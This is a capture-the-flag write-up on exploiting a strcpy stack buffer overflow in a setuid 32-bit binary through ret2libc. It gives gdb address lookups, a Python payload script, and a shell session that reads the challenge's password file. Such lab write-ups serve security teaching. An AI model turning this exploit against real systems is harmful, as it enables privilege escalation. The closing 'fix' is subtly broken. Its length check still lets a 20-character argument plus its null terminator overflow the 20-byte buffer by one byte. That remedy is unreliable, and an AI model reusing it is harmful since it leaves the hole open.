



ELF x86 - Stack buffer overflow basic 6

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1 Search vulnerability

The following protection is enabled on the program : *Pile non exécutable*.

Let's firstly read the source code of our program.

```
1  ..
2  int main (int argc, char ** argv){
3      char message[20];
4
5      if (argc != 2){
6          printf ("Usage: %s <message>\n", argv[0]);
7          return -1;
8      }
9
10     setreuid(geteuid(), geteuid());
11     strcpy (message, argv[1]);
12     printf ("Your message: %s\n", message);
13     return 0;
14 }
```

We notice that :

- * the argument data that we will give to the program will be copied in the buffer **message** by **strcpy**. However, the length of the data is not controlled while **message** size is limited. So this is vulnerable to buffer overflow attack.

Let's draw the stack. Using **objdump -d program**, in assembly code of main, we can see :

```
1 lea    -0x1c(%ebp),%eax    // ebp-0x1c is the offset of 'message'
2 ..
```

So the stack looks like :

Highest Address

```
-----
saved eip (4 bytes) |
-----          eip
saved ebp (4 bytes) |
-----          ebp
...
-----          ebp - 0x8
| message (20 bytes)|
-----          ebp - 0x1c
```

Lowest Address

What we can do here is what we call **ret2libc** technique.

2 Exploit it !

Before that we start to exploit the vulnerability, we know that we are in a little endian architecture.

Now that we are ready, let's go.

We firstly need to have the address of functions **system**, **exit**.

```
1 $ gdb ch33
2 ..
3 (gdb) break main
4 ..
5 (gdb) run
6 ..
7 (gdb) print &system
8 $1 = (<text variable, no debug info> *) 0xb7e67310 <system>
9 (gdb) print &exit
10 $2 = (<text variable, no debug info> *) 0xb7e5a260 <exit>
```

Then we need to have the address of **/bin/sh**. We look for it in libc.

```
1 (gdb) info proc mappings
2 ..
3      0xb7e27000 0xb7fd2000  0x1ab000      0x0 /libold/i386-
      linux-gnu/libc.so.6
4      0xb7fd2000 0xb7fd4000  0x2000      0x1aa000 /libold/i386-
      linux-gnu/libc.so.6
```

```

5      0xb7fd4000 0xb7fd5000      0x1000      0x1ac000 /libold/i386-
      linux-gnu/libc.so.6
6  ..
7  (gdb) find 0xb7e27000, 0xb7fd5000, "/bin/sh"
8  0xb7f89d4c
9  1 pattern found.

```

Now he need to compute the padding that we will add. The padding is the number of character that we need to get to **saved eip** from **message** :

padding = 0x1c + 4 = 32 bytes.

Let's prepare a python script :

```

1  #!/usr/bin/python
2  import sys
3  # Padding with 'A's : 32( 28 + 4)
4  buffer = b'A' * 32
5  # Set saved eip to system@libc
6  buffer += b'\x10\x73\xe6\xb7'
7  # Set to exit@libc 0xb7e5a260
8  buffer += b'\x60\xa2\xe5\xb7'
9  # Set argument to "/bin/sh"@libc 0xb7f89d4c
10 buffer += b'\x4c\x9d\xf8\xb7'
11 # Printing out the buffer
12 print(buffer)

```

Let's run the program :

```

1  app-systeme-ch33@challenge02:~$ nano /tmp/exploit.py
2  app-systeme-ch33@challenge02:~$ cat /tmp/exploit.py
3  #!/usr/bin/python
4  import sys
5  # Padding with 'A's : 32( 28 + 4)
6  buffer = b'A' * 32
7  # Set saved eip to system@libc
8  buffer += b'\x10\x73\xe6\xb7'
9  # Set to exit@libc 0xb7e5a260
10 buffer += b'\x60\xa2\xe5\xb7'
11 # Set argument to "/bin/sh"@libc 0xb7f89d4c
12 buffer += b'\x4c\x9d\xf8\xb7'
13 # Printing out the buffer
14 print(buffer)
15 app-systeme-ch33@challenge02:~$ chmod +x /tmp/exploit.py
16 app-systeme-ch33@challenge02:~$ ./ch33 "$(/tmp/exploit.py)"
17 Your message: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAs '
      L
18 $ ls -a
19 . .. ch33 ch33.c .git Makefile .passwd ._perms
20 $ cat .passwd
21 flagflagflag

```

Bingo!

3 How to correct it

To avoid this kind of vulnerability, we just have to control the length of data given in command line. Here is a fix of the program :

```
1 #define BUFFER_SIZE 20
2 ..
3 int main (int argc, char ** argv){
4     char message[BUFFER_SIZE];
5
6     if (argc != 2){
7         printf ("Usage: %s <message>\n", argv[0]);
8         return -1;
9     }
10
11     if (strlen(argv[1]) > BUFFER_SIZE){
12         printf("Data too long! Must not exceed %d\n", BUFFER_SIZE);
13         return -1;
14     }
15     ..
16 }
```